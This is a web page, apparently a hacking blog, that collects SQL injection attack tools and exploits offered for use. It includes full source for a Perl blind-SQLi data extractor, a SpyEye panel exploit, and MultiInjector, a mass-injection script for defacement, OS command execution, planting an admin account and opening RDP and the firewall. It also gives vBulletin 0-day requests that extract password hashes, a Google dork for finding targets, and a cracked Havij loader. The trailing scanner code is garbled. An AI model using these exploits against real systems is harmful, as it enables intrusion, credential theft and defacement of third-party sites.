Enema – tool for SQL injection
Enema is not autohacking software. This is dynamic tool for people, who knows what to do.
Not supported old database versions (e. g. mysql 4.x). Development targeted to modern versions.
- Features:
- Multi-platform.
- User-friendly graphical interface.
- Multithreaded.
- Dump.
- Customise your queries
- Plugins to automate attacks
- Supported for today:
- POST, GET, Cookies
- MSSQL >=2000 and MySQL>=5.0
- Injection methods supported for today:
- Error based injection.
- Union based injection (using subquery).
- Blind Time-based MSSQL(waitfor), MySQL(sleep)
Enema is not autohacking software. This is dynamic tool for people, who knows what to do. Not supported old database versions (e. g. mysql 4.x). Development targeted to modern versions.
Download here
pythonsqldumper
This is a open source SQL dumper written in python.
Features:
- Databases support : MySQL
- Injection methods : INBAND, BLIND
- Injection in all parameters sent to server GET, POST, HEADERS (Cookie, User-Agent,...)
- Custom headers
- Supports mod_rewrite injection
- Supports injection in parameters encoded in base64 algoritm
- Supports proxy (HTTP, SOCKET4, SOCKET5)
- Supports injection in HTTPS throw proxy (only socket)
- Supports custom user query injection
- Save all extracted data to a dump file
- Dumps only structure of database
- Increases delay between two consecutive failed requests (allow the server to chill down)
- Delay between requests
Bugs and suggestions at : tdx_ev@yahoo.com. Download here. Project here
Sqlninja 0.2.6 available – Download
Sqlninja is a tool targeted to exploit SQL Injection vulnerabilities on a web application that uses Microsoft SQL Server as its back-end.
Its main goal is to provide a remote access on the vulnerable DB server, even in a very hostile environment. It should be used by penetration testers to help and automate the process of taking over a DB Server when a SQL Injection vulnerability has been discovered.
In order to use sqlninja, the following Perl modules need to be present:
* NetPacket
* Net-Pcap
* Net-DNS
* Net-RawIP
* IO-Socket-SSL
Features
* Fingerprint of the remote SQL Server (version, user performing the queries, user privileges, xp_cmdshell availability, DB authentication mode)
* Bruteforce of 'sa' password (in 2 flavors: dictionary-based and incremental)
* Privilege escalation to sysadmin group if 'sa' password has been found
* Creation of a custom xp_cmdshell if the original one has been removed
* Upload of netcat (or any other executable) using only normal HTTP requests (no FTP/TFTP needed)
* TCP/UDP portscan from the target SQL Server to the attacking machine, in order to find a port that is allowed by the firewall of the target network and use it for a reverse shell
* Direct and reverse bindshell, both TCP and UDP
* ICMP-tunneled shell, when no TCP/UDP ports are available for a direct/reverse shell but the DB can ping your box
* DNS-tunneled pseudo-shell, when no TCP/UDP ports are available for a direct/reverse shell, but the DB server can resolve external hostnames (check the documentation for details about how this works)
* Evasion techniques to confuse a few IDS/IPS/WAF
* Integration with Metasploit3, to obtain a graphical access to the remote DB server through a VNC server injection
* Integration with churrasco.exe, to escalate privileges to SYSTEM on w2k3 via token kidnapping
* Support for CVE-2010-0232, to escalate the privileges of sqlservr.exe to SYSTEM
Download here
Blind Sql Injection By Inj3ct0r Team
[cc lang="perl"]#!/usr/bin/perl
use LWP::Simple;
use Time::HiRes qw(gettimeofday);
###############################################################
$string='';
$limit=0;
#string variable###############################################
# if the string that you want to use is not writable #
# on the shell you can write in this variable and #
# whene the script order from you the variable just #
# press enter. #
###############################################################
#limit variable##############################################
# if you want a particular column just change this #
# variable. #
#############################################################
@ascii_sym = (32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,58,59,60,61,62,63,64,91,92,93,94,95,96,123,124,125,126);
$glob_stat;
print "\n\t===============================================*\n";
print "\t* Blind Sql Injection Tool *\n";
print "\t* Coded By Angel Injection *\n";
print "\t* Member From Inj3ct0r Team *\n";
print "\t* Thanks To:r0073r,Sid3^effects,r4dc0re,CrosS, *\n";
print "\t===============================================*\n\n";
print "Stage 1:Checking if the target is vulnerable\n\n";
print "You should now enter the infected url\n";
print "Example :http://www.localhost/index.php?id=1\n\n";
print "URL: ";
my $url =
chomp($url);
$now = time_mili();
my $yes = get("$url+and+1=1");
$later = time_mili();
$exect = $later - $now;
$exect = sprintf("%.2f", $exect);
my $no = get("$url+and+1=0");
def($yes,$no);
print "Stage 2 :[*] Checking For A String That Can lead To exploit The Target[*]\n\n";
print " You should now enter a string(from shell or source code)\n";
print " and wait to see if is a good one. Your string must be \n";
print " related to the target\n\n";
print " The string must exist on the true page or the false page \n";
print " but not on both of them.\n";
print " A file has been created under the name string.txt it may help\n";
print " you to choose your string\n\n";
if($string eq ''){
print "String: ";
$string =
chomp($string);
while(strc($yes,$no)!=1){
print "String: ";
$string =
chomp($string);
}
}
else{
if(strc($yes,$no)!=1){
print "Please Choose another one\n: ";
exit;
}
}
chomp($string);
print "\n => Nice choice\n\n";
print "Stage 3 :[*] Extracting Information From Database[*]\n\n";
print " You should now enter The Table name\n";
print " and number of Columns to be extracted\n";
print " and their names and condition on this columns\n";
print " if you want it\n\n";
print "Table Name : ";
my $tbname =
chomp($tbname);
print "Columns Number : ";
my $num =
chomp($num);
if($num =~ /^[+-]?\d+$/){
chomp($num);
}
else{
while($num !~ /^[+-]?\d+$/){
print "Columns Number : ";
$num =
chomp($num);
}
}
chomp($num);
my @column,@trcolmun,@numtr,@result;
for(my $q=0;$q<$num;$q++){
print "Columns Name : ";
$column[$q] =
chomp($column[$q]);
}
print "\n Do You have any condition on your information\n";
print " Exemple: where id=1\n\n";
print "(yes/no): ";
my $condt =
chomp($condt);
if($condt eq 'yes'){
print "\nEnter Condition: ";
$condition=
chomp($condition);
}
print "\nStage 3-1 :[*] Checking table and columns[*]\n\n";
print " Nothing That You Can do it now\n";
print " just let the script do his job\n\n";
my $pr=chvar("$url+and+(SELECT 1 from $tbname limit 0,1)=1");
if($pr==1){
print " => Table Existe\n";
}
else{
print " => Table Dosn't Existe";
exit;
}
my $j=0;
for(my $q=0;$q<$num;$q++){
$pr = chvar("$url+and+(SELECT substring(concat(1,$column[$q]),1,1) from $tbname limit 0,1)=1");
if($pr==1){
$trcolumn[$j] = $column[$q];
print " => Column $column[$q] Existe\n";
$j++;
}
else{
print " => Column $column[$q] Dosn't Existe\n";
}
}
$trco = @trcolumn;
if($trco==0){
print "\n => No Columns Found\n";
exit;
}
print "\nStage 3-2 :[*] Extracting Columns length[*]\n\n";
print " The Script is going now to get each\n";
print " columns length\n";
print "\nCounting length of Columns...\n\n";
for(my $q=0;$q<$j;$q++){
my $qj=0;
my $ii=1;
while($qj==0){
$pr = chvar("$url+and+ascii(substring((select concat($trcolumn[$q],0x3a,0x3a)+from+$tbname $condition limit+$limit,1),$ii,1))=58");
if($pr==1){
$ii++;
$pr = chvar("$url+and+ascii(substring((select concat($trcolumn[$q],0x3a,0x3a)+from+$tbname $condition limit+$limit,1),$ii,1))=58");
if($pr==1){
$qj=1;
}
else{
$ii--
}
}
$ii++;
}
$ii -=3;
$numtr[$q]=$ii;
print " => $trcolumn[$q] : $ii\n";
}
for(my $rul=0;$rul<$trco;$rul++){
$result[$rul]='';
}
$gtf=0;
($second, $minute, $hour) = localtime();
print "\nExtracting information ...\n\n";
print "Guessing time for each column(in seconds)\n\n";
for(my $idn=0;$idn<$trco;$idn++){
$max = $numtr[$idn] * $exect * 8;
$max=sprintf("%.2f", $max);
$gtf+=$max;
print " #=> $trcolumn[$idn] max time of extraction = $max\n";
}
print "\nStart at $hour:$minute:$second (expected time to finish (in seconds) : $gtf)\n\n";
$now1 = time_mili();
for(my $bn=0;$bn<$trco;$bn++){
$nowt = time_mili();
for(my $bnum=1;$bnum<=$numtr[$bn];$bnum++){
my $ascii=opt("$url+and+ascii(substring((select concat($trcolumn[$bn],0x3a)+from+$tbname $condition limit+$limit,1),$bnum,1))");
$result[$bn].=pack("c",$ascii);
}
$latert = time_mili();
$realt = $latert - $nowt;
$realt=sprintf("%.2f", $realt);
print " => $trcolumn[$bn] = [$result[$bn]] (real time = $realt)\n";
}
$later1 = time_mili();
$exect1 = $later1 - $now1;
$exect1 = sprintf("%.2f", $exect1);
($second, $minute, $hour) = localtime() ;
print "\nFinish at $hour:$minute:$second (elapsed time (in seconds) : $exect1) \n\n";
sub opt{
my $url=$_[0];
my $isnum = $url;
my $sym_st;
$isnum .= ">57";
my $isalpha = $url;
$isalpha .= ">96";
my $isAlpha = $url;
$isAlpha .= ">65";
my $rt='';
my $brp = chvar($isnum);
if($brp==1){
my $brp1 = chvar($isalpha);
if($brp1==1){
$rt = brute_alpha($url,97,103,110,115,122);
$sym_st=3;
}
else{
$rt = brute_alpha($url,65,71,78,83,90);
$sym_st=2;
}
}
else{
$rt = brute_num($url);
$sym_st=1;
}
if(ord($rt) == 0){
$rt = opt_sym($url,$sym_st);
}
return $rt;
}
sub opt_sym(){
my $url = $_[0];
my $rt='';
if($_[1]==1){
my $ft = $url;
$ft .= ">40";
my $rft = chvar($ft);
if($rft==1){
$rt = brute_sym($url,8,15);
}
else{
$rt = brute_sym($url,0,7);
}
}
else{
if($_[1]==2){
$rt=brute_sym($url,16,22);
}
else{
$rt=brute_sym($url,23,32);
}
}
return $rt;
}
sub reduse{
for(my $i=$_[0];$i<=$_[1];$i++){
my $tmp = $_[2];
$tmp .="=$i";
my $qq = chvar($tmp);
if($qq==1){
return $i;
last;
}
}
}
sub brute_sym(){
my $ek;
for(my $i=$_[1];$i<=$_[2];$i++){
my $tmp = $_[0];
$tmp .="=$ascii_sym[$i]";
my $qq = chvar($tmp);
if($qq==1){
$ek=$i;
last;
}
}
return $ascii_sym[$ek];
}
sub brute_num(){
my $url = $_[0];
my $ft = $url;
my $rt='';
$ft .= ">52";
my $mrp = chvar($ft);
if($mrp==1){
$rt = reduse(53,57,$url);
}
else{
$rt = reduse(48,52,$url);
}
return $rt;
}
sub brute_alpha(){
my $url = $_[0];
my $ft = $url;
my $sd = $url;
my $td = $url;
my $rt ='';
$ft .= ">$_[2]";
$sd .= ">$_[3]";
$td .= ">$_[4]";
my $mrp = chvar($ft);
if($mrp==1){
my $mrp1 = chvar($sd);
if($mrp1==1){
my $mrp2=chvar($td);
if($mrp2==1){
$rt = reduse(($_[4]+1),$_[5],$url);
}
else{
$rt = reduse(($_[3]+1),$_[4],$url);
}
}
else{
$rt = reduse(($_[2]+1),$_[3],$url);
}
}
else{
$rt = reduse($_[1],$_[2],$url);
}
return $rt;
}
sub strc{
my $tmp=0;
if(($_[0] =~ /$string/) && ($_[1] !~ /$string/)){
$glob_stat=1;
return 1;
}
elsif(($_[1] =~ /$string/) && ($_[0] !~ /$string/)){
$glob_stat=0;
return 1;
}
elsif(($_[1] =~ /$string/) && ($_[0] =~ /$string/)){
return 0;
}
}
sub def{
my @fi = split(//,$_[0]);
my @sd = split(//,$_[1]);
my $rt='';
my $cn = @fi;
my $cn1 = @sd;
my $k;
($cn>$cn1) ? $k=$cn : $k=$cn1;
my $i,$j=0;
for($i=0;$i<$k;$i++){
if($fi[$i] ne $sd[$i]){
$rt.=$fi[$i];
$j++;
}
}
if(($j>5) && ($j<($i-300))){
print "\n => Target Maybe Vulnerable\n\n";
open(MYFILE,'>string.txt');
print MYFILE $rt;
close(MYFILE);
}
else{
print "\n => Target Not Vulnerable\n\n";
exit;
}
}
sub chvar{
my $url=$_[0];
my $tmp = get($url);
if($tmp=~/$string/){
if($glob_stat==1){
return 1;
}
elsif($glob_stat==0){
return 0;
}
}
elsif($tmp!~/$string/){
if($glob_stat==1){
return 0;
}
elsif($glob_stat==0){
return 1;
}
}
}
sub time_mili(){
my $s,$m,$r;
($s,$m) = gettimeofday();
$r = "$s.$m";
$r +=0;
my $rt = sprintf("%.3f", $r);
$rt +=0;
return $rt;
}[/cc]
SpyEye Blind SQL injection
[cc lang="python"]#!/usr/bin/python
from httplib import HTTPConnection
from time import time
from sys import exit, argv, stdout
import urllib
print """
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 __ __ __ __ 1
1 /'__`\ /'__`\/\ \__ /'__`\ 0
0 _ __ /\ \/\ \/\ \/\ \ \ ,_\ __ __ __/\ \/\ \ _ __ ___ ___ 1
1 /\`'__\ \ \ \ \ \ \ \ \ \ \/ /\ \/\ \/\ \ \ \ \ \/\`'__\/' __` __`\ 0
0 \ \ \/ \ \ \_\ \ \ \_\ \ \ \_\ \ \_/ \_/ \ \ \_\ \ \ \/ /\ \/\ \/\ \ 1
1 \ \_\ \ \____/\ \____/\ \__\\ \___x___/'\ \____/\ \_\ \ \_\ \_\ \_\ 0
0 \/_/ \/___/ \/___/ \/__/ \/__//__/ \/___/ \/_/ \/_/\/_/\/_/ 1
1 0
0 1
1 >> SpyEye r0073r xpl01t 0
0 >> author : Sanjar Satsura 1
1 >> sanjar[at]xakep[dot]ru 0
0 >> Public v.0.1 1
1 >> )c( 2011 0
0 1
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-0
Example:
Spyeye_r0073r
"""
if len(argv)<=3: exit()
else: print "[+]Started pwn..."
host = argv[1]
path = argv[2]
sql = argv[3]
port = 80
hash = ""
full = []
for k in range(48,122):
full.append(k)
full.append(0)
# full value [48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 0]
# This is the charset to try
delay = 0.5
a=1
while a <= 32:
for i in full:
j = 0
if i == 0: exit('\n[+]Finished\n')
#
start = time()
# start time for the delay
conn = HTTPConnection(host,port)
#values = { "id" : "1 AND (SELECT IF((IFNULL(ASCII(SUBSTRING((4.0.5),a,1)),0)="K"),BENCHMARK(9000000,SHA1(1)),1));-- /*" }
values = { "id" : "1 AND (SELECT IF((IFNULL(ASCII(SUBSTRING((" + sql + ")," + str(j) + ",1)),0)=" + str(i) + "),BENCHMARK(9000000,SHA1(1)),1));-- /*" }
data = urllib.urlencode(values)
print data
conn.request("GET", path + "frm_cards_edit.php?" + data )
response = conn.getresponse()
read = response.read()
print read
if response.status == 404: exit('[+]404')
#404
now = time()
if now - start > delay:
#has come true then the character is valid
stdout.write(chr(i))
stdout.flush()
hash += chr(i)
a += 1
break;
else: j += 1
print "i vale %s, y J vale %s" %(i,j)
# w4tch u. h4ck u. fuck u. 1337day
# www.r00tw0rm.com[/cc]
multinjector by Raviv Raz
[cc lang="python"]#!/usr/bin/env python
"""
MultiInjector v.035
Copyright 2009-2011, Raviv Raz - ravivr@gmail.com
MultiInjector is distributed under the terms of the GNU General Public License
MultiInjector is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see
"""
try:
import psyco
except:
pass
from sys import stdout,argv,stderr
import pycurl
from urlparse import urlsplit,urlunsplit
from urllib import quote
from os import system
import binascii
import StringIO
from re import findall
class callback:
def __init__(self):
self.contents = ''
buffer = StringIO.StringIO
def feed(self, buf):
self.contents = self.contents + buf
def fireUp(target_list,num_conn,proxy_addr,proxy_port):
tuples = target_list
try:
import signal
from signal import SIGPIPE, SIG_IGN
signal.signal(signal.SIGPIPE, signal.SIG_IGN)
except ImportError:
pass
queue = []
for tuple in tuples:
for url in tuple:
if not url or url[0] == "#":
url = str(url).strip()
continue
cb = callback()
queue.append((url,cb))
num_urls = len(queue)
num_conn = min(num_conn, num_urls)
assert 1 <= num_conn <= 10000, "invalid number of concurrent connections"
m = pycurl.CurlMulti()
m.handles = []
for i in range(num_conn):
c = pycurl.Curl()
c.setopt(pycurl.FOLLOWLOCATION, 1)
c.setopt(pycurl.MAXREDIRS, 5)
c.setopt(pycurl.CONNECTTIMEOUT, 30)
c.setopt(pycurl.TIMEOUT, 300)
c.setopt(pycurl.NOSIGNAL, 1)
c.setopt(pycurl.USERAGENT,"""Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)""")
c.setopt(pycurl.HTTPHEADER, ["""Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5""" ,
"""Accept-Language: en-us,en;q=0.5""",
"""Accept-Encoding: gzip,deflate""",
"""Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7""",
"""Keep-Alive: 300""",
"""Connection: keep-alive"""])
if proxy_addr != '':
c.setopt(pycurl.PROXY,proxy_addr)
c.setopt(pycurl.PROXYPORT,proxy_port)
m.handles.append(c)
freelist = m.handles[:]
num_processed = 0
while num_processed < num_urls:
while queue and freelist:
url,cb = queue.pop(0)
c = freelist.pop()
c.setopt(pycurl.URL, url)
c.setopt(pycurl.WRITEFUNCTION, cb.feed)
m.add_handle(c)
c.url = url
while 1:
ret, num_handles = m.perform()
if ret != pycurl.E_CALL_MULTI_PERFORM:
break
while 1:
num_q, ok_list, err_list = m.info_read()
for c in ok_list:
m.remove_handle(c)
freelist.append(c)
for c, errno, errmsg in err_list:
m.remove_handle(c)
freelist.append(c)
num_processed = num_processed + len(ok_list) + len(err_list)
if num_q == 0:
break
m.select(1.0)
for c in m.handles:
c.close()
m.close()
def usage():
stdout.write("""\nCopyright 2008, Raviv Raz - ravivr@gmail.com\nThis program is distributed under the terms of the GNU General Public License\nMultiInjector is an automatic SQL injection utility. It uses a list of URI addresses to test parameter manipulation.\n\
Once a vulnerable parameter has been found, a signature-evasive SQL injection is performed in order to achieve\n\
one of the following goals:\n
1) Automatic defacement
2) Run OS shell command on DB server
3) Run SQL query on DB server
4) Enable OS shell procedure on DB
5) Add administrative user to DB server with password: T0pSeKret
6) Enable remote desktop on DB server
7) Add allowed program to Windows Firewall on DB server
\nUsage: %s [url list] \n\n"""%argv[0])
raise SystemExit
def build_payload(input,choice,program_name):
program_name = program_name.replace("\'","\\'").replace('\"','\\"').replace('>','\>')
input = input.replace("\'","\\'").replace('\"','\\"').replace('>','\>')
if choice ==1:
sql_cmd = """DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''%s''') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor;"""%input
elif choice ==2:
sql_cmd = """EXEC MASTER..XP_CMDSHELL '%s'"""%input
elif choice ==3:
sql_cmd = """EXEC '%s'"""%input
elif choice ==4:
sql_cmd = """EXEC sp_configure 'show advanced options',1 ; RECONFIGURE ; EXEC sp_configure 'xp_cmdshell',1 ; RECONFIGURE"""
elif choice ==5:
sql_cmd = """EXEC MASTER..XP_CMDSHELL 'net user %s T0pSeKret /add && net localgroup administrators %s /add'"""%(input,input)
elif choice ==6:
sql_cmd = """EXECUTE master.dbo.xp_regwrite N'HKEY_LOCAL_MACHINE',N'SYSTEM\CurrentControlSet\Control\Terminal Server',N'fDenyTSConnections',N'REG_DWORD',0;--"""
elif choice ==7:
input = input.replace("\'","\\'").replace('\"','\\"')
sql_cmd = """EXEC MASTER..XP_CMDSHELL 'netsh firewall add allowedprogram %s %s ENABLE'"""%(input,program_name)
if len(input) % 2 == 0:
payload = binascii.hexlify(sql_cmd)
else:
payload = binascii.hexlify(sql_cmd[:-1])
cmd = " or 1=1;DECLARE @S VARCHAR(4000);SET @S=CAST(0x%s AS VARCHAR(4000));EXEC(@S);--"%payload
return quote(cmd)
def fullurl(host,path,params):
return urlunsplit(('http',host,path,params,''))
def is_numeric(param):
if findall("^.*=[0-9]+$",param):
return True
else:
return False
def change_params(params,payload):
new_list = []
split_params = params.split('&')
for i in range(len(split_params)):
if is_numeric(split_params[i]):
new_param = str(split_params[i])+payload
else:
new_param = str(split_params[i])+"%27"+payload
new_list.append(params.replace(split_params[i],new_param))
return new_list
def add_payload(url,payload):
spliturl = urlsplit(url,allow_fragments=True)
protocol = spliturl[0]
host = spliturl[1]
params = spliturl[3]
path = spliturl[2]
new_params = change_params(params,payload)
new_urls =[]
for param in new_params:
new_urls.append(fullurl(host,path,param))
return new_urls
def find_parameterized_urls(list):
newlist = []
for item in list:
if urlsplit(item)[3] != '':
newlist.append(item.strip())
return newlist
def menu():
conn_num = 5
system('cls')
stdout.write("""
Please choose the attack of your flavor:\n
1) Automatic defacement
2) Run OS shell command on DB server
3) Run SQL query on DB server
4) Enable OS shell procedure on DB
5) Add administrative user to DB server with password: T0pSeKret
6) Enable remote desktop on DB server
7) Add allowed program to Windows Firewall on DB server
\n""")
try:
program = ""
choice = int(raw_input("> "))
if choice == 1:
command = str(raw_input("\n\nEnter defacement content:\n\n> "))
elif choice == 2:
command = str(raw_input("\n\nEnter OS command to run:\n\n> "))
elif choice == 3:
command = str(raw_input("\n\nEnter SQL query to run:\n\n> "))
elif choice == 4:
command = ""
elif choice == 5:
command = str(raw_input("\n\nEnter administrative user name:\n\n>"))
elif choice == 6:
command = ""
elif choice == 7:
command = str(raw_input("Enter program full path (c:\path\program.exe):\n>"))
program = str(raw_input("Enter program name in firewall allowed programs list:\n>"))
elif not choice in (1,2,3,4,5,6,7):
menu()
except KeyboardInterrupt:
stdout.write('\n\nC ya!\n\n')
raise SystemExit
except:
menu()
stdout.write('Number of parallel connections: (default=5)\n')
try:
conn_num = int(raw_input("> "))
except:
conn_num = 5
stdout.write('Use HTTP proxy? [y/n]: (default=n)\n')
use_proxy = (raw_input("> "))
if 'y' in use_proxy:
stdout.write('Proxy address: \n')
proxy_addr = (raw_input("> "))
stdout.write('Proxy port: \n')
proxy_port = int(raw_input("> "))
else:
proxy_addr = ''
proxy_port = 0
return choice,command,conn_num,proxy_addr,proxy_port,program
def main():
if len(argv)<2:
usage()
else:
try:
stdout.write('\n[!] Opening url file...\n')
old_urls = open(argv[1]).readlines()
except:
stderr.write("""\n[x] Failed to open %s \n"""%argv[1])
raise SystemExit
choice,command,conn_num,proxy_addr,proxy_port,program_name = menu()
payload = build_payload(command,choice,program_name)
stdout.write('[!] Bombs Away !!\n')
urls = []
for item in find_parameterized_urls(old_urls):
injected = add_payload(item,payload)
urls.append(injected)
if len(urls)>0:
if proxy_addr !='':
fireUp(urls,conn_num,proxy_addr,proxy_port)
elif proxy_addr =='':
fireUp(urls,conn_num,'',0)
stdout.write('[v] Attacks finished\n')
else:
print """[x] No URL found with parameters to inject.\nWe must have at least one URL like:\nhttp://www.victim.com/program.asp?p1=v1&p2=v2"""
if __name__ == "__main__":
main()[/cc]
very nice tool. credit goes to Raviv Raz@Chapters In Web Security
vBulletin “Search UI” SQL Injection 0-day – part II
vBulletin "Search UI" SQL Injection
PoC:
[cc lang="html"]POST /search.php?do=process HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
humanverify[]=&searchfromtype=vBForum%3ASocialGroupMessage&do=process&contenttypeid=5&categoryid[]=-99) union select password from user where userid=1 and row(1,1)>(select count(*),concat( (select user.password) ,0x3a,floor(rand(0)*2)) x from (select 1 union select 2 union select 3)a group by x limit 1) -- /* [/cc]
will retrun:
[cc lang="html"] [/cc]
Vbulletin 4.0.x -> 4.1.3 SQL injection Vulnerability 0-day
So... after the patching done 2 months ago by vBulletin team here it is:
Vulnerability:
Vbulletin 4.x.x => 4.1.3 suffers from an SQL injection Vulnerability in parameter "&messagegroupid" due to improper input validation.
Exploitation:
Post data on: -->search.php?search_type=1
--> Search Single Content Type
Keywords : Valid Group Message
Search Type : Group Messages
Search in Group : Valid Group Id
[cc lang="html"]&messagegroupid[0]=3 ) UNION SELECT concat(username,0x3a,email,0x3a,password,0x3a,salt ) FROM user WHERE userid=1#[/cc]
Exact request:
Exact Request as follows:
Code:
[cc lang="html"]query=Cross+Domain+Content+Extraction+attacks&titleonly=0&searchuser=&starteronly=0&searchdate=0&beforeafter=after&sortby=dateline&order=descending&showposts=1&saveprefs=1&dosearch=Search+Now&s=&securitytoken=1311201469-a9ee9dd6adccba0f8758fce3f02b7e0a267eea75&searchfromtype=vBForum%3ASocialGroupMessage&do=process&contenttypeid=5&messagegroupid[0]=3 ) UNION SELECT concat(username,0x3a,email,0x3a,password,0x3a,salt) FROM user WHERE userid=1#[/cc]
Google dork: intitle: powered by Vbulletin 4
Author: FB1H2S
Found his blog. Awesome posts.
Havij 1.15 Pro – with loader – working
1) Install Havij 1.15 Pro. (Don't run it yet!)
2) Open the loader.
3) Navigate to Havij 1.15 Pro executable.
4) Click Start Havij.
You need .net Framework 4.0 in order the loader to work.
Damn Small SQLi Scanner (DSSS) – download
[cc lang="python"]#!/usr/bin/env python
import difflib, httplib, optparse, random, re, urllib2, urlparse
NAME = "Damn Small SQLi Scanner (DSSS) < 100 LOC (Lines of Code)"
VERSION = "0.1f"
AUTHOR = "Miroslav Stampar (http://unconciousmind.blogspot.com | @stamparm)"
LICENSE = "Public domain (FREE)"
INVALID_SQL_CHAR_POOL = ['(', ')', '\'', '"'] # characters used for SQL poisoning of parameter values
PREFIXES = [" ", ") ", "' ", "') "] # prefix values used for building testing blind payloads
SUFFIXES = ["", "-- ", "#"] # suffix values used for building testing blind payloads
BOOLEAN_TESTS = ["AND %d=%d", "OR NOT (%d=%d)"] # boolean tests used for building testing blind payloads
TEXT, HTTPCODE, TITLE, HTML = range(4) # enumerator-like values used for marking content type
MIN_BOOL_VAL, MAX_BOOL_VAL = 100, 255 # minimum and maximum random range values used in boolean tests
FUZZY_THRESHOLD = 0.95 # ratio value in range (0,1) used for distinguishing True from False responses
DBMS_ERRORS = {
"MySQL": [r"SQL syntax.*MySQL", r"Warning.*mysql_.*", r"valid MySQL result", r"MySqlClient\."],\
"PostgreSQL": [r"PostgreSQL.*ERROr", r"Warning.*\Wpg_.*", r"valid PostgreSQL result", r"Npgsql\."],\
"Microsoft SQL Server": [r"Driver.* SQL[\-\_\ ]*Server", r"OLE DB.* SQL Server", r"(\W|\A)SQL Server.*Driver", r"Warning.*mssql_.*", r"(\W|\A)SQL Server.*[0-9a-fA-F]{8}", r"Exception Details:.*\WSystem\.Data\.SqlClient\.", r"Exception Details:.*\WRoadhouse\.Cms\."],\
"Microsoft Access": [r"Microsoft Access Driver", r"JET Database Engine", r"Access Database Engine"],\
"Oracle": [r"ORA-[0-9][0-9][0-9][0-9]", r"Oracle error", r"Oracle.*Driver", r"Warning.*\Woci_.*", r"Warning.*\Wora_.*"],\
"IBM DB2": [r"CLI Driver.*DB2", r"DB2 SQL error", r"db2_connect\(", r"db2_exec\(", r"db2_execute\(", r"db2_fetch_"],\
"Informix": [r"Exception.*Informix"],\
"Firebird": [r"Dynamic SQL Error", r"Warning.*ibase_.*"],\
"SQLite": [r"SQLite/JDBCDriver", r"SQLite.Exception", r"System.Data.SQLite.SQLiteException", r"Warning.*sqlite_.*", r"Warning.*SQLite3::"],\
"SAP MaxDB": [r"SQL error.*POS([0-9]+).*", r"Warning.*maxdb.*"],\
"Sybase": [r"Warning.*sybase.*", r"Sybase message", r"Sybase.*Server message.*"],\
"Ingres": [r"Warning.*ingres_", r"Ingres SQLSTATE", r"Ingres\W.*Driver"]
}
def retrieve_content(url): |<[^>]+>|\s+", " ", retval[HTML]) def shallow_crawl(url): def scan_page(url): if __name__ == "__main__":
retval = {HTTPCODE: httplib.OK}
try:
retval[HTML] = urllib2.urlopen(url.replace(" ", "%20")).read() # replacing ' ' with %20 is a quick/dirty fix for urllib2
except Exception, ex:
retval[HTTPCODE] = getattr(ex, "code", None)
retval[HTML] = getattr(ex, "msg", str())
retval[HTML] = ex.read() if hasattr(ex, "read") else retval[HTML]
match = re.search(r"", retval[HTML], re.I)
retval[TITLE] = match.group("title") if match else None
retval[TEXT] = re.sub(r"(?si)
return retval
print "* crawling for links at the given target url"
retval = set([url])
for match in re.finditer(r"href\s*=\s*\"(?P
link = urlparse.urljoin(url, match.group("href"))
if reduce(lambda x, y: x == y, map(lambda x: urlparse.urlparse(x).netloc.split(':')[0], [url, link])):
retval.add(link)
return retval
retval = False
try:
for link in shallow_crawl(url):
print "* scanning: %s%s" % (link, " (no GET parameters)" if '?' not in link else "")
for match in re.finditer(r"(?:[?&;])((?P
vulnerable = False
tampered = link.replace(match.group(0), match.group(0) + "".join(random.sample(INVALID_SQL_CHAR_POOL, len(INVALID_SQL_CHAR_POOL))))
content = retrieve_content(tampered)
for dbms in DBMS_ERRORS:
for regex in DBMS_ERRORS[dbms]:
if not vulnerable and re.search(regex, content[HTML], re.I):
print " (o) parameter '%s' could be error SQLi vulnerable! (%s error message)" % (match.group("parameter"), dbms)
retval = vulnerable = True
vulnerable = False
original = retrieve_content(link)
left, right = random.randint(MIN_BOOL_VAL, MAX_BOOL_VAL), random.randint(MIN_BOOL_VAL, MAX_BOOL_VAL)
for prefix in PREFIXES:
for boolean in BOOLEAN_TESTS:
for suffix in SUFFIXES:
if not vulnerable:
template = "%s%s%s" % (prefix, boolean, suffix)
payloads = dict([(x, link.replace(match.group(0), match.group(0) + (template % (left, left if x else right)))) for x in (True, False)])
contents = dict([(x, retrieve_content(payloads[x])) for x in (True, False)])
if any(map(lambda x: original[x] == contents[True][x] != contents[False][x], [HTTPCODE, TITLE])) or len(original[TEXT]) == len(contents[True][TEXT]) != len(contents[False][TEXT]):
vulnerable = True
else:
